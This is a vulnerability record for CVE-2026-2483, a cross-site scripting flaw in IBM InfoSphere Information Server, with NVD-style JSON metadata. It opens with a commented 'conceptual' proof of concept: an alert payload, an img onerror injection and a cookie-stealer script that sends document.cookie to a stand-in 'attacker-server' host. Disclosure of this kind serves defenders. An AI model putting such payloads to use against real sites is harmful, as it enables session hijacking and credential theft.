CVE-2026-2483

// Proof of Concept for CVE-2026-2483 // Conceptual XSS Payload for IBM InfoSphere Information Server // 1. Basic Alert Payload (for verification) // <script>alert('XSS Vulnerability Confirmed');</script> // 2. Cookie Stealer Payload (Simulated) // <script> // var req = new XMLHttpRequest(); // req.open('GET', 'http://attacker-server/log?c=' + document.cookie, true); // req.send(); // </script> // 3. Injection via vulnerable parameter // Example URL: http://target-server.com/vulnerable_page?param=<img src=x onerror=alert(1)> console.log('This is a conceptual PoC. Actual exploit requires identifying the specific vulnerable endpoint.');

{"cve": {"id": "CVE-2026-2483", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:40.883", "lastModified": "2026-03-26T18:14:17.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session"}, {"lang": "es", "value": "IBM InfoSphere Information Server 11.7.0.0 hasta 11.7.1.6 es vulnerable a cross-site scripting. Esta vulnerabilidad permite a los usuarios incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y potencialmente llevando a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.7.0.0", "versionEndIncluding": "11.7.1.6", "matchCriteriaId": "65FBF88B-61F0-4D42-A290-453FDC874D7F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7266764", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}